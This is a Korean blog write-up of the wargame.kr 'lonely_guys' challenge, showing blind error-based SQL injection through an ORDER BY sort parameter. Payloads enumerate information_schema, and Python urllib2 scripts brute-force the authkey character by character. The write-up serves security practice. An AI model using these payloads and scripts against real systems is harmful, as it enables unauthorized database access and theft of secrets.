webhacking/sql, sql injection

wargame.kr lonely_guys

qkqhxla1 2014. 9. 28. 14:33

http://wargame.kr:8080/lonely_guys/index.php


방법론은 대충 알았는데 잠시 해멨다. reg_single(sort) 부분을 클릭하면 정렬이 됬다가


다시 반대로 정렬이 됬다가 바뀐다. 소스 윗부분에는 


POST방식으로 sort를 받는다. 그리고 이것에 따라서 정렬을 수행하는것 같다.


if(isset($_POST['sort'])){
 
$sort=$_POST['sort'];
}else{
 
$sort="asc";
}


그리고 mysql_real_escape_string함수로 받은 sort에서 위험한 문자를 제거한 후에


쿼리를 돌린다. 


$result=mysql_query("select * from guys_tbl order by reg_date $sort");


대충 여기까지 읽어봤으면 POST방식으로 sort라는 변수를 보내서 어떻게 하면 될것 같다.


webhacking.kr의 잔재가 남아있어서 그런지 그냥 나와있는 테이블 이름만 찾고 있다가 나중에 보니


wargame.kr은 조금 더 현실적인 웹게임이다. 테이블네임, 컬럼네임 다 직접 구해야 됬다.


기본 쿼리가 select * from guys_tvl order by reg_date 내가보낸변수이다.


order by는 order by 컬럼명 이 있으면 뒤에 변수로 asc나 desc로 또다시 정렬 가능하다.


처음에는 if(테이블명,"desc","asc") 이런식으로 참이면 desc로 정렬, 아니면 asc로?


하려다가 desc, asc가 if문으로 조종이 안된다는걸 생각해냈다. 그래서 그냥 일반적으로 시간기반이나


에러기반으로 하기로 생각하고 and if(1=1, (select 1 union select 2),1) 등으로 판별해봤더니


사용 가능하다. 에러가 떴을때와 안떴을때 결과 값이 다르다.





에러 발생시 아래처럼 chul-su등등 사람이름이 전부 나오질 않는다.


일단 테이블 갯수가 총 몇개고, 우리가 값을 뽑아내야 될 테이블이 어떤건지 짐작하기위해 갯수를


출력해봤다.


sort=and if((select count(table_name) from information_schema.tables where table_schema=database())=1~20사이의 숫자,(select 1 union select 2),1)


기본으로 나와있는 테이블인 guys_tbl말고도 최소 한개는 더 있거나 없을것같다. guys_tbl밖에 없으면


그 내부의 컬럼 어딘가에 있다고 생각했다. 결과는 테이블이 2개가 있다고 나왔고,


테이블이 2개니 그중에 guys_tbl과 다른 테이블이 길이가 다르다고 생각해서 이런식으로 구분했다.


and if((select length(max(table_name)) from information_schema.tables where table_schema=database())=1~40사이의 숫자.(select 1 union select 2),1)


max(table_name)의 길이는 8이나왔고, min으로 바꿔서 돌려본결과 길이가 7이 나왔다.


import urllib2

for i in range(1,20):
    print i
    req = urllib2.Request('http://wargame.kr:8080/lonely_guys/index.php','sort=and if((select length(max(table_name)) '+\
                                                                         'from information_schema.tables where table_schema=database())='+str(i)+\
                                                                         ',(select 1 union select 2),1)')
    req.add_header('cookie','ci_session=세션 복사한 값.')
    res = urllib2.urlopen(req).read()
    if res.find('chul-su') == -1:
        print res
        print i
        break



그리고 이미 나와있는 guys_tbl의 길이는 8이므로 길이가 7인 테이블이름이 구하려는 테이블인걸


알수 있었다. (문제풀고 다른분들 풀이를 보니 그냥 group_concat(table_name)으로 쉽게 구할수있는데


삽질했다는걸 알았다.. group_concat(table_name) 으로 한번에 다 출력해볼수 있다.)


길이가 7인 테이블이름을 구해보면... authkey이다.


authkey의 컬럼은 위와 같이 count로 갯수를 구한결과 1개라는걸 알수있었고, 값을 뽑아내보니.. 


sort=and if((select ascii(substr(column_name,1~20사이의 숫자,1))=32~128사이의 숫자 from information_schema.columns where table_name=0x617574686b6579),(select 1 union select 2),1)


컬럼네임도 authkey이다.


잊어버리고 있었는데 다시 깨닫지만 count같은거 필요없이 group_concat()로 한번에 구할수 있다...


import urllib2

max_table = ''
for j in range(1,41):
    for i in range(32,128):
        print j,i,max_table
        req = urllib2.Request('http://wargame.kr:8080/lonely_guys/index.php','sort=and if((select ascii(substr(group_concat(authkey),'+str(j)+\
                                                                             ',1)) from authkey)='+str(i)+',(select 1 union select 2),1)')
        req.add_header('cookie','ci_session=세션 복사한 값')
        res = urllib2.urlopen(req).read()
        if res.find('chul-su') == -1:
            print i
            max_table += chr(i)
            break
print max_table

group_concat으로 풀었을시 코딩.



'webhacking > sql, sql injection' 카테고리의 다른 글

wargame.kr DB is really GOOD  (0) 2014.10.01
information_schema  (0) 2014.09.28
rubiya.kr 19번 다른방법.(원래방법?)  (3) 2014.09.11
rubiya.kr 19번.  (0) 2014.09.10
mysql hex()함수에 관해서  (0) 2014.09.06